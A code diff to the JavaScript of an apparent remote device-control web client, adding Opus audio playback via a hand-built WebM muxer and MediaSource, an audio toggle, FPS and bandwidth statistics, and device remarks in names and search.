+        const OPUS_FRAME_MS = 20;        // 960 samples @ 48k — matches client encoder
+        const _pendingOpusPackets = [];  // packets received before SourceBuffer is ready
+
+        // Browser autoplay policies require an HTMLAudioElement to be created
+        // and .play()'d synchronously inside a user-gesture event handler.
+        // We hook the first click/keydown to spin up the element + MediaSource.
+        // Subsequent activity (e.g. tab regaining focus) re-issues play().
+        function installAudioGestureUnlock() {
+            const onGesture = () => {
+                if (!_audioElement) {
+                    try {
+                        _setupAudioElementAndMediaSource();
+                        console.log('[MSE] <audio> + MediaSource set up by gesture');
+                    } catch (e) {
+                        console.error('[MSE] setup failed:', e && e.message);
+                    }
+                } else if (_audioElement.paused) {
+                    _audioElement.play().catch(() => {});
+                }
+            };
+            const opts = { passive: true, capture: true };
+            window.addEventListener('click',   onGesture, opts);
+            window.addEventListener('keydown', onGesture, opts);
+        }
+        installAudioGestureUnlock();
+
         // Pagination and filter state
         let currentPage = 1;
         let viewMode = 'grid';  // 'grid' or 'list'
@@ -1409,7 +1492,7 @@
                     }
                 }
             };
-            ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); };
+            ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); stopAllAudio(); audioFormat = null; scheduleReconnect(); };
             ws.onerror = (e) => console.error('WS error:', e);
             ws.onmessage = (event) => {
                 if (typeof event.data === 'string') handleSignaling(JSON.parse(event.data));
@@ -1486,11 +1569,22 @@
                             // Wait for resolution_changed message
                             updateScreenStatus('waiting', 'Waiting for video...');
                         }
+                        // Audio state may or may not be cached yet on the server.
+                        // If not, the audio_state event below will populate it.
+                        if (typeof msg.audio_enabled === 'boolean') {
+                            applyAudioState(msg.audio_enabled);
+                        }
                     } else {
                         updateScreenStatus('error', msg.msg);
                         setTimeout(() => showPage('devices-page'), 2000);
                     }
                     break;
+                case 'audio_state':
+                    applyAudioState(!!msg.enabled);
+                    break;
+                case 'audio_toggle_result':
+                    if (!msg.ok) console.warn('[Audio] toggle failed:', msg.msg);
+                    break;
                 case 'term_ready':
                     termState.ready = true;
                     document.getElementById('term-status-info').textContent =
@@ -1603,8 +1697,12 @@
             // Set up vertical flip transform once (BMP is bottom-up)
             ctx.setTransform(1, 0, 0, -1, 0, height);
             if (decoder) { try { decoder.close(); } catch(e) {} }
-            frameCount = 0;
-            lastFrameTime = performance.now();
+            // Reset FPS sliding window on decoder (re)init so a resolution
+            // change or codec switch doesn't carry over stale counts.
+            frameCount = 0; lastFrameTime = performance.now(); fps = 0;
+            // 记录当前分辨率供 renderStats 重组 frame-info 文案
+            currentWidth = width;
+            currentHeight = height;
             decoder = new VideoDecoder({
                 output: (frame) => {
                     // Check if frame dimensions match canvas
@@ -1613,13 +1711,13 @@
                     }
                     ctx.drawImage(frame, 0, 0);
                     frame.close();
+                    // 原始风格的 FPS 计数：1 秒采样窗口
                     frameCount++;
                     const now = performance.now();
                     if (now - lastFrameTime >= 1000) {
                         fps = Math.round(frameCount * 1000 / (now - lastFrameTime));
                         frameCount = 0;
                         lastFrameTime = now;
-                        document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
                     }
                 },
                 error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
@@ -1649,16 +1747,296 @@
             return videoBytes[0] === 0x00 ? 'avc' : 'av1';
         }
 
+        // ============================================================
+        // Minimal WebM-Opus muxer: wraps each Opus packet in a one-block
+        // Cluster so it can be fed to a SourceBuffer of type
+        // 'audio/webm; codecs="opus"'. The init segment (EBML header +
+        // Segment header + Tracks with OpusHead) is built once when the
+        // format is known and appended before any media clusters.
+        // ============================================================
+        const WebMMuxer = (function () {
+            // Variable-length integer (EBML VINT). Marker bit selects byte count.
+            function vint(value) {
+                if (value < 0x7F)             return [0x80 |  value];
+                if (value < 0x3FFF)           return [0x40 | (value >> 8), value & 0xFF];
+                if (value < 0x1FFFFF)         return [0x20 | (value >> 16), (value >> 8) & 0xFF, value & 0xFF];
+                if (value < 0x0FFFFFFF)       return [0x10 | (value >> 24), (value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF];
+                // 8-byte VINT for larger values (we don't usually need this)
+                const out = [0x01];
+                for (let i = 6; i >= 0; i--) out.push(Math.floor(value / Math.pow(2, i * 8)) & 0xFF);
+                return out;
+            }
+            // Unsigned int big-endian, n bytes
+            function uintBE(value, n) {
+                const out = new Array(n);
+                for (let i = n - 1; i >= 0; i--) { out[i] = value & 0xFF; value = Math.floor(value / 256); }
+                return out;
+            }
+            // 64-bit float big-endian
+            function f64BE(value) {
+                const buf = new ArrayBuffer(8);
+                new DataView(buf).setFloat64(0, value, false);
+                return Array.from(new Uint8Array(buf));
+            }
+            // EBML element = ID + size(VINT) + payload
+            function elem(idBytes, payload) {
+                const sz = vint(payload.length);
+                const out = new Array(idBytes.length + sz.length + payload.length);
+                let i = 0;
+                for (const b of idBytes) out[i++] = b;
+                for (const b of sz)       out[i++] = b;
+                for (const b of payload)  out[i++] = b;
+                return out;
+            }
+            // OpusHead codec-private structure (19 bytes). Per WebM/Opus spec,
+            // the authoritative encoder delay is CodecDelay (in ns) in the
+            // TrackEntry; pre-skip here is left at 0 to avoid double-skipping.
+            function opusHead(sampleRate, channels) {
+                return [
+                    0x4F, 0x70, 0x75, 0x73, 0x48, 0x65, 0x61, 0x64,  // "OpusHead"
+                    0x01,                                             // version
+                    channels & 0xFF,                                  // channel count
+                    0x00, 0x00,                                       // pre-skip (use CodecDelay instead)
+                    sampleRate & 0xFF, (sampleRate >> 8) & 0xFF,
+                    (sampleRate >> 16) & 0xFF, (sampleRate >> 24) & 0xFF,
+                    0x00, 0x00,                                       // output gain (LE)
+                    0x00                                              // channel mapping family
+                ];
+            }
+            function buildInitSegment(sampleRate, channels) {
+                const ebml = elem([0x1A, 0x45, 0xDF, 0xA3], [].concat(
+                    elem([0x42, 0x86], [0x01]),                          // EBMLVersion
+                    elem([0x42, 0xF7], [0x01]),                          // EBMLReadVersion
+                    elem([0x42, 0xF2], [0x04]),                          // EBMLMaxIDLength
+                    elem([0x42, 0xF3], [0x08]),                          // EBMLMaxSizeLength
+                    elem([0x42, 0x82], [0x77, 0x65, 0x62, 0x6D]),        // DocType "webm"
+                    elem([0x42, 0x87], [0x04]),                          // DocTypeVersion
+                    elem([0x42, 0x85], [0x02])                           // DocTypeReadVersion
+                ));
+                const info = elem([0x15, 0x49, 0xA9, 0x66], [].concat(
+                    elem([0x2A, 0xD7, 0xB1], uintBE(1000000, 3)),        // TimecodeScale 1ms
+                    elem([0x4D, 0x80], [0x59, 0x61, 0x6D, 0x61]),        // MuxingApp "Yama"
+                    elem([0x57, 0x41], [0x59, 0x61, 0x6D, 0x61])         // WritingApp "Yama"
+                ));
+                const trackEntry = [].concat(
+                    elem([0xD7], [0x01]),                                // TrackNumber 1
+                    elem([0x73, 0xC5], uintBE(1, 1)),                    // TrackUID 1
+                    elem([0x83], [0x02]),                                // TrackType 2 (audio)
+                    elem([0xB9], [0x01]),                                // FlagEnabled
+                    elem([0x88], [0x01]),                                // FlagDefault
+                    elem([0x9C], [0x00]),                                // FlagLacing 0
+                    elem([0x86], [0x41, 0x5F, 0x4F, 0x50, 0x55, 0x53]),  // CodecID "A_OPUS"
+                    elem([0x63, 0xA2], opusHead(sampleRate, channels)),  // CodecPrivate
+                    elem([0x56, 0xAA], uintBE(6500000, 3)),              // CodecDelay 6.5ms (ns)
+                    elem([0x56, 0xBB], uintBE(80000000, 4)),             // SeekPreRoll 80ms (ns)
+                    elem([0xE1], [].concat(                              // Audio
+                        elem([0xB5], f64BE(sampleRate)),                 //   SamplingFrequency
+                        elem([0x9F], [channels & 0xFF])                  //   Channels
+                    ))
+                );
+                const tracks = elem([0x16, 0x54, 0xAE, 0x6B], elem([0xAE], trackEntry));
+                // Segment uses unknown-size signal so we can stream clusters indefinitely
+                const segmentOpen = [0x18, 0x53, 0x80, 0x67,
+                                     0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF];
+                return new Uint8Array([].concat(ebml, segmentOpen, info, tracks));
+            }
+            function buildCluster(opusBytes, absMs) {
+                const simpleBlock = elem([0xA3], [].concat(
+                    [0x81, 0x00, 0x00, 0x80],   // TrackNumber=1, ts=0, flags=keyframe
+                    Array.from(opusBytes)
+                ));
+                const cluster = elem([0x1F, 0x43, 0xB6, 0x75], [].concat(
+                    elem([0xE7], uintBE(absMs, 4)),     // Timestamp (absolute, ms)
+                    simpleBlock
+                ));
+                return new Uint8Array(cluster);
+            }
+            return { buildInitSegment, buildCluster };
+        })();
+
+        // Create the hidden <audio> + MediaSource pair INSIDE a user-gesture
+        // call stack. Must complete .play() synchronously before any await.
+        function _setupAudioElementAndMediaSource() {
+            _audioElement = document.createElement('audio');
+            _audioElement.autoplay = true;
+            _audioElement.volume = 1.0;
+            _audioElement.style.display = 'none';
+            document.body.appendChild(_audioElement);
+            _mediaSource = new MediaSource();
+            _mediaSource.addEventListener('sourceopen', _onSourceOpen);
+            _audioElement.src = URL.createObjectURL(_mediaSource);
+            _audioElement.play().then(
+                () => console.log('[MSE] audio.play() ok'),
+                e  => console.error('[MSE] audio.play() rejected:', e && e.message)
+            );
+        }
+
+        function _onSourceOpen() {
+            console.log('[MSE] sourceopen, readyState=' + (_mediaSource && _mediaSource.readyState));
+            if (audioFormat && audioFormat.compression === 1) {
+                _addSourceBufferAndInit();
+            }
+        }
+
+        function _addSourceBufferAndInit() {
+            if (!_mediaSource || _mediaSource.readyState !== 'open' || _sourceBuffer) return;
+            const mime = 'audio/webm; codecs="opus"';
+            if (!window.MediaSource || !MediaSource.isTypeSupported(mime)) {
+                console.error('[MSE] ' + mime + ' not supported by this browser');
+                return;
+            }
+            try {
+                _sourceBuffer = _mediaSource.addSourceBuffer(mime);
+            } catch (e) {
+                console.error('[MSE] addSourceBuffer failed:', e && e.message);
+                return;
+            }
+            _sourceBuffer.addEventListener('updateend', () => {
+                _sourceBufferBusy = false;
+                _flushSourceBufferQueue();
+            });
+            _sourceBuffer.addEventListener('error', e => console.error('[MSE] sourceBuffer error', e));
+            // Init segment first
+            _enqueueAppend(WebMMuxer.buildInitSegment(audioFormat.sampleRate, audioFormat.channels));
+            _initSegmentSent = true;
+            _opusTimestampMs = 0;
+            // Flush packets that arrived before SourceBuffer was ready
+            while (_pendingOpusPackets.length > 0) {
+                const pkt = _pendingOpusPackets.shift();
+                _enqueueAppend(WebMMuxer.buildCluster(pkt, _opusTimestampMs));
+                _opusTimestampMs += OPUS_FRAME_MS;
+            }
+            console.log('[MSE] SourceBuffer ready, init segment + ' +
+                        (_opusTimestampMs / OPUS_FRAME_MS) + ' queued packets appended');
+        }
+
+        function _enqueueAppend(data) {
+            _sourceBufferQueue.push(data);
+            _flushSourceBufferQueue();
+        }
+        function _flushSourceBufferQueue() {
+            if (!_sourceBuffer || _sourceBufferBusy) return;
+            if (_sourceBufferQueue.length === 0) return;
+            const next = _sourceBufferQueue.shift();
+            _sourceBufferBusy = true;
+            try {
+                _sourceBuffer.appendBuffer(next);
+            } catch (e) {
+                console.error('[MSE] appendBuffer threw:', e && e.message);
+                _sourceBufferBusy = false;
+            }
+        }
+
+        function pushOpusPacket(opusBytes) {
+            if (!audioFormat || audioFormat.compression !== 1) return;
+            if (_sourceBuffer && _initSegmentSent) {
+                _enqueueAppend(WebMMuxer.buildCluster(opusBytes, _opusTimestampMs));
+                _opusTimestampMs += OPUS_FRAME_MS;
+            } else {
+                // Stash until SourceBuffer is ready. Cap at ~3s of audio.
+                const maxQueued = Math.ceil(3000 / OPUS_FRAME_MS);
+                while (_pendingOpusPackets.length >= maxQueued) _pendingOpusPackets.shift();
+                _pendingOpusPackets.push(new Uint8Array(opusBytes));
+            }
+        }
+
+        // Remove the SourceBuffer (so a new format/codec can be set up) but
+        // KEEP the same MediaSource and <audio> element. They hold our
+        // gesture-acquired play() permission — recreating either would
+        // require a fresh user tap on iOS. Never call endOfStream(), that
+        // transitions MediaSource to 'ended' which forbids future
+        // addSourceBuffer().
+        function stopAllAudio() {
+            if (_sourceBuffer && _mediaSource && _mediaSource.readyState === 'open') {
+                try { _mediaSource.removeSourceBuffer(_sourceBuffer); } catch (e) {}
+            }
+            _sourceBuffer = null;
+            _sourceBufferQueue.length = 0;
+            _sourceBufferBusy = false;
+            _initSegmentSent = false;
+            _opusTimestampMs = 0;
+            _pendingOpusPackets.length = 0;
+        }
+
+        function handleAudioFrame(data) {
+            if (!audioEnabled) return;
+
+            const u8 = new Uint8Array(data);
+            if (u8.length < 1) return;
+
+            let offset = 0;
+            const hasFormat = u8[offset++];
+
+            if (hasFormat) {
+                if (u8.length < offset + 12) {
+                    console.warn('[Audio] truncated format header');
+                    return;
+                }
+                // AudioFormat (12 bytes, commands.h, pack(1))
+                const view = new DataView(data, offset, 12);
+                const channels      = view.getUint16(0, true);
+                const sampleRate    = view.getUint32(2, true);
+                const bitsPerSample = view.getUint16(6, true);
+                const blockAlign    = view.getUint16(8, true);
+                const compression   = view.getUint8(10);
+                offset += 12;
+                offset += 1;  // padding byte
+
+                if (channels === 0 || channels > 8) { console.error('[Audio] bad channels:', channels); return; }
+                if (sampleRate < 8000 || sampleRate > 48000) { console.error('[Audio] bad sampleRate:', sampleRate); return; }
+
+                const fmt = { compression, channels, sampleRate, bitsPerSample, blockAlign };
+                const needReinit = !audioFormat ||
+                    audioFormat.sampleRate !== fmt.sampleRate ||
+                    audioFormat.channels   !== fmt.channels   ||
+                    audioFormat.compression !== fmt.compression;
+                audioFormat = fmt;
+
+                if (needReinit) {
+                    if (fmt.compression !== 1) {
+                        console.error('[Audio] PCM payload not supported by web; set USING_OPUS=1 on client');
+                        stopAllAudio();
+                        return;
+                    }
+                    stopAllAudio();
+                    if (_mediaSource && _mediaSource.readyState === 'open') {
+                        _addSourceBufferAndInit();
+                    }
+                    // else: sourceopen handler will pick up audioFormat when it fires
+                    console.log('[Audio] Format → ch=' + fmt.channels +
+                                ' sr=' + fmt.sampleRate + ' compression=' + fmt.compression);
+                }
+            }
+
+            if (!audioFormat || audioFormat.compression !== 1) return;
+            if (u8.length <= offset) return;
+
+            // The remaining bytes are one Opus packet (variable length).
+            const opusBytes = new Uint8Array(data, offset);
+            pushOpusPacket(opusBytes);
+        }
+
         function handleBinaryFrame(data) {
+            // 全部进入的二进制都计入带宽统计：视频帧 + 音频帧 + 终端帧
+            bwBytesAccum += data.byteLength;
             // 终端输出帧：4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。
-            // 视频帧首 4 字节是 deviceID (uint32 LE)，撞这个具体值的概率极低；4 字节 magic
-            // 比单字节前缀安全得多，无需额外的状态校验。
             const u8 = new Uint8Array(data);
             if (u8.length >= 4 &&
                 u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) {
                 if (termState && termState.term) termState.term.write(u8.subarray(4));
                 return;
             }
+
+            // Audio frame: frameType byte at offset 4 indicates audio (96 = TOKEN_SCREEN_AUDIO)
+            // Full frame format: [deviceID:4][frameType:1][dataLen:4][hasFormat:1][AudioFormat?][audio_data...]
+            if (u8.length > 4 && u8[4] === 96) {
+                // Skip frame header (9 bytes) and pass audio payload to handler
+                const audioPayload = data.slice(9);
+                handleAudioFrame(audioPayload);
+                return;
+            }
+
+            // Video frame: [deviceID:4][frameType:1][dataLen:4][videoData...]
             const view = new DataView(data);
             const deviceId = view.getUint32(0, true);
             const frameType = view.getUint8(4);
@@ -1721,6 +2099,7 @@
                 const q = searchQuery.toLowerCase();
                 filtered = filtered.filter(d =>
                     (d.name && d.name.toLowerCase().includes(q)) ||
+                    (d.remark && d.remark.toLowerCase().includes(q)) ||
                     (d.ip && d.ip.toLowerCase().includes(q)) ||
                     (d.os && d.os.toLowerCase().includes(q)) ||
                     (d.location && d.location.toLowerCase().includes(q)) ||
@@ -1853,7 +2232,7 @@
                             '<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' +
                           '</svg>' +
                         '</button>' +
-                        '<h3>' + escapeHtml(d.name || 'Unknown') + '</h3>' +
+                        '<h3>' + escapeHtml(displayName(d)) + '</h3>' +
                         '<div class="info-row">' +
                             '<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' +
                             '<div class="info"><span class="info-label">Loc:</span> ' + escapeHtml(loc) + '</div>' +
@@ -2120,9 +2499,18 @@
             const compat = checkWebCodecs();
             if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; }
             currentDevice = dev;
-            document.getElementById('device-name').textContent = currentDevice.name;
+            document.getElementById('device-name').textContent = displayName(currentDevice);
             document.getElementById('frame-info').textContent = '';
+            // Reset throughput / resolution read-outs for the new session
+            currentWidth = 0; currentHeight = 0;
+            bwBytesAccum = 0; bwBytesPerSec = 0;
+            frameCount = 0; lastFrameTime = performance.now(); fps = 0;
+            const fbs = document.getElementById('fb-stats');
+            if (fbs) fbs.textContent = '';
             updateScreenStatus('connecting');
+            // Default the audio button to "on" optimistically; server will
+            // correct via connect_result.audio_enabled or audio_state event.
+            applyAudioState(true);
             showPage('screen-page');
             ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token }));
         }
@@ -2145,7 +2533,7 @@
             termState.deviceId = String(id);
             termState.ready = false;
 
-            document.getElementById('term-title').textContent = dev.name + '  Terminal';
+            document.getElementById('term-title').textContent = displayName(dev) + '  Terminal';
             document.getElementById('term-status-info').textContent = 'Connecting...';
 
             // 先 showPage 让 term-host 拿到真实尺寸；xterm.open() 必须在容器有 size 时调用，
@@ -2470,6 +2858,39 @@
             }
         }
 
+        // Pretty-print bytes/sec with a compact 1-byte / 1K / 1M scale.
+        function formatBandwidth(bytesPerSec) {
+            if (bytesPerSec < 1024) return bytesPerSec + 'B/s';
+            if (bytesPerSec < 1024 * 1024) return Math.round(bytesPerSec / 1024) + 'K/s';
+            return (bytesPerSec / 1024 / 1024).toFixed(1) + 'M/s';
+        }
+
+        // 1-second ticker that pulls the FPS/bandwidth counters and refreshes
+        // the two read-outs: #frame-info (always visible above the canvas) and
+        // #fb-stats (a chip inside the floating toolbar, only visible while
+        // the toolbar is expanded — that's how the fullscreen mode shows
+        // throughput without cluttering the screen).
+        function renderStats() {
+            // FPS 已经在 decoder.onOutput 里就地更新，renderStats 只负责
+            // 把最新的 fps、bandwidth 组装成显示串写到 DOM。
+
+            bwBytesPerSec = bwBytesAccum;
+            bwBytesAccum = 0;
+
+            const fi = document.getElementById('frame-info');
+            const fs = document.getElementById('fb-stats');
+            if (currentWidth > 0 && currentHeight > 0) {
+                const bw = formatBandwidth(bwBytesPerSec);
+                if (fi) fi.textContent = currentWidth + 'x' + currentHeight +
+                                          ' @ ' + fps + ' fps · ' + bw;
+                if (fs) fs.textContent = bw;
+            } else {
+                if (fi) fi.textContent = '';
+                if (fs) fs.textContent = '';
+            }
+        }
+        setInterval(renderStats, 1000);
+
         function isLandscape() {
             return window.innerWidth > window.innerHeight;
         }
@@ -2566,6 +2987,26 @@
             }
         }
 
+        // Reflect server-confirmed audio on/off on the toolbar icon. Server is
+        // authoritative — toggleAudio() does not flip state locally; it only
+        // sends the request and waits for the audio_state broadcast.
+        function applyAudioState(enabled) {
+            audioEnabled = !!enabled;
+            const btn = document.getElementById('btn-audio-bar');
+            if (btn) {
+                // 0x1F50A speaker / 0x1F507 muted speaker
+                btn.innerHTML = audioEnabled ? '&#x1F50A;' : '&#x1F507;';
+                btn.title = audioEnabled ? 'Mute audio' : 'Unmute audio';
+                btn.classList.toggle('muted', !audioEnabled);
+            }
+        }
+
+        function toggleAudio() {
+            if (ws && ws.readyState === WebSocket.OPEN && token) {
+                ws.send(JSON.stringify({ cmd: 'audio_toggle', token }));
+            }
+        }
+
         // Detect touch device (mobile/tablet)
         const isTouchDevice = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0);
 
@@ -3440,6 +3881,10 @@
         });
 
         function disconnect() {
+            // Reset throughput / resolution read-outs
+            currentWidth = 0; currentHeight = 0;
+            bwBytesAccum = 0; bwBytesPerSec = 0;
+            frameCount = 0; lastFrameTime = performance.now(); fps = 0;
             // Reset control mode
             controlEnabled = false;
             // Reset keyboard state (blur event will update button state)
@@ -3488,6 +3933,14 @@
             return div.innerHTML;
         }
 
+        // 设备显示名：有备注则 "hostname (备注)"，否则就是 hostname。
+        // 服务端备注从 m_ClientMap MAP_NOTE 取（参看 BuildDeviceListJson）。
+        function displayName(d) {
+            if (!d) return '';
+            const name = d.name || 'Unknown';
+            return d.remark ? (name + ' (' + d.remark + ')') : name;
+        }
+
         function startPingInterval() {
             if (pingInterval) clearInterval(pingInterval);
             pingInterval = setInterval(() => {